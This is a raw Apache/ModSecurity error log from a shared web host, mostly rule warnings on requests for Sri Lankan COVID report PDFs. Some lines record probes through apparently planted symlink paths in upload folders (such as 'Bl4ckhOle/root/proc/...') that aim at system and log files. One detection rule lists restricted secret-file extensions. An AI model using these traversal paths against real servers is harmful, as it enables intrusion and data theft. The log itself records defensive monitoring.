[Fri Jul 17 08:45:27.085615 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almeToRpm5MObcED3Q9rgQAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1204&page_105=2186
[Fri Jul 17 08:45:28.960671 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-11-09_10.pdf"] [unique_id "almeUBAi3pC6yjXGNq1_JwAAAAU"]
[Fri Jul 17 08:45:28.961094 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-11-09_10.pdf"] [unique_id "almeUBAi3pC6yjXGNq1_JwAAAAU"]
[Fri Jul 17 08:45:28.961415 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-11-09_10.pdf"] [unique_id "almeUBAi3pC6yjXGNq1_JwAAAAU"]
[Fri Jul 17 08:45:30.018456 2026] [core:error] [pid 2018767:tid 2018767] (13)Permission denied: [client 57.141.18.103:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/subsystem/devices/memory19/subsystem/devices/memory121/subsystem/uevent
[Fri Jul 17 08:45:31.583233 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:40944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:33.690165 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:41058] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:38.602830 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.82.13.103:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/251:0/subsystem/rtc0/device/subsystem/drivers_probe
[Fri Jul 17 08:45:39.108100 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-15-02-2020_10.pdf"] [unique_id "almeWwRRrtuZqNDDSqWu4AAAABo"]
[Fri Jul 17 08:45:39.108489 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-15-02-2020_10.pdf"] [unique_id "almeWwRRrtuZqNDDSqWu4AAAABo"]
[Fri Jul 17 08:45:39.108835 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-15-02-2020_10.pdf"] [unique_id "almeWwRRrtuZqNDDSqWu4AAAABo"]
[Fri Jul 17 08:45:41.831244 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:42.071733 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:46.437659 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:37962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:48.163328 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:48.171108 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:48.181800 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-22-08_10.pdf"] [unique_id "almeZHRlmrtCoY_COpckqwAAAAg"]
[Fri Jul 17 08:45:48.182188 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-22-08_10.pdf"] [unique_id "almeZHRlmrtCoY_COpckqwAAAAg"]
[Fri Jul 17 08:45:48.182480 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-en-22-08_10.pdf"] [unique_id "almeZHRlmrtCoY_COpckqwAAAAg"]
[Fri Jul 17 08:45:48.400276 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:38040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:49.360550 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almeZbEWOaI5pmYo9fnNsAAAAAA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:45:49.360584 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almeZbEWOaI5pmYo9fnNsAAAAAA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:45:49.936492 2026] [security2:error] [pid 2013797:tid 2013797] [client 188.164.197.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "diyosh.bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almeZVh1WDijTxd1xw5LFwAAAAc"]
[Fri Jul 17 08:45:49.936525 2026] [security2:error] [pid 2013797:tid 2013797] [client 188.164.197.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "diyosh.bostonlanka.com"] [uri "/wp-login.php"] [unique_id "almeZVh1WDijTxd1xw5LFwAAAAc"]
[Fri Jul 17 08:45:53.813598 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:39852] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:54.273542 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:39870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:56.229112 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:39944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:56.248111 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-28-11_10.pdf"] [unique_id "almebBAi3pC6yjXGNq1_PQAAAAU"]
[Fri Jul 17 08:45:56.248664 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-28-11_10.pdf"] [unique_id "almebBAi3pC6yjXGNq1_PQAAAAU"]
[Fri Jul 17 08:45:56.249071 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-28-11_10.pdf"] [unique_id "almebBAi3pC6yjXGNq1_PQAAAAU"]
[Fri Jul 17 08:45:56.249137 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-28-11_10.pdf"] [unique_id "almebBAi3pC6yjXGNq1_PQAAAAU"]
[Fri Jul 17 08:45:56.249177 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.244.66.249:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-28-11_10.pdf"] [unique_id "almebBAi3pC6yjXGNq1_PQAAAAU"]
[Fri Jul 17 08:45:58.373746 2026] [security2:error] [pid 2023579:tid 2023579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almebuYpb_TFRze2EO3yEQAAAAE"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:45:58.373799 2026] [security2:error] [pid 2023579:tid 2023579] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almebuYpb_TFRze2EO3yEQAAAAE"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:45:58.700476 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:40004] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:59.254440 2026] [security2:error] [pid 2013797:tid 2013797] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/wp-cron.php"] [unique_id "almeblh1WDijTxd1xw5LGwAAAAc"]
[Fri Jul 17 08:45:59.254489 2026] [security2:error] [pid 2013797:tid 2013797] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/wp-cron.php"] [unique_id "almeblh1WDijTxd1xw5LGwAAAAc"]
[Fri Jul 17 08:46:01.460250 2026] [cgi:error] [pid 1993668:tid 1993668] [client 136.244.106.102:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 08:46:01.460374 2026] [cgi:error] [pid 1993668:tid 1993668] [client 136.244.106.102:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 08:46:03.003505 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:03.306194 2026] [security2:error] [pid 2018767:tid 2018767] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-03_08.pdf"] [unique_id "almec6quHSHoCJK_V0R_-wAAABs"]
[Fri Jul 17 08:46:03.306547 2026] [security2:error] [pid 2018767:tid 2018767] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-03_08.pdf"] [unique_id "almec6quHSHoCJK_V0R_-wAAABs"]
[Fri Jul 17 08:46:03.306859 2026] [security2:error] [pid 2018767:tid 2018767] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-03_08.pdf"] [unique_id "almec6quHSHoCJK_V0R_-wAAABs"]
[Fri Jul 17 08:46:06.052407 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:36114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:07.841482 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:46:09.366946 2026] [security2:error] [pid 2014256:tid 2014256] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-08_24.pdf"] [unique_id "almeeYZvbo7N5o5zeYC9IAAAABw"]
[Fri Jul 17 08:46:09.427336 2026] [ssl:error] [pid 1993572:tid 1993572] (5)Input/output error: [client 66.85.158.91:36226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:46:10.107496 2026] [security2:error] [pid 2014256:tid 2014256] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-08_24.pdf"] [unique_id "almeeYZvbo7N5o5zeYC9IAAAABw"]
[Fri Jul 17 08:46:10.107837 2026] [security2:error] [pid 2014256:tid 2014256] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-08_24.pdf"] [unique_id "almeeYZvbo7N5o5zeYC9IAAAABw"]
[Fri Jul 17 08:46:13.211830 2026] [security2:error] [pid 2018770:tid 2018770] [client 47.128.48.100:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/log/cldeploy.log"] [unique_id "almefS0HS8lGbZyK8qt1ywAAACM"]
[Fri Jul 17 08:46:13.212382 2026] [security2:error] [pid 2018770:tid 2018770] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/log/cldeploy.log"] [unique_id "almefS0HS8lGbZyK8qt1ywAAACM"]
[Fri Jul 17 08:46:13.391144 2026] [security2:error] [pid 2018770:tid 2018770] [client 47.128.48.100:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/var/log/cldeploy.log"] [unique_id "almefS0HS8lGbZyK8qt1ywAAACM"]
[Fri Jul 17 08:46:13.656413 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almefVh1WDijTxd1xw5LIwAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:46:13.656448 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almefVh1WDijTxd1xw5LIwAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:46:15.278154 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:45070] AH02013: coalesce failed to read from data bucket
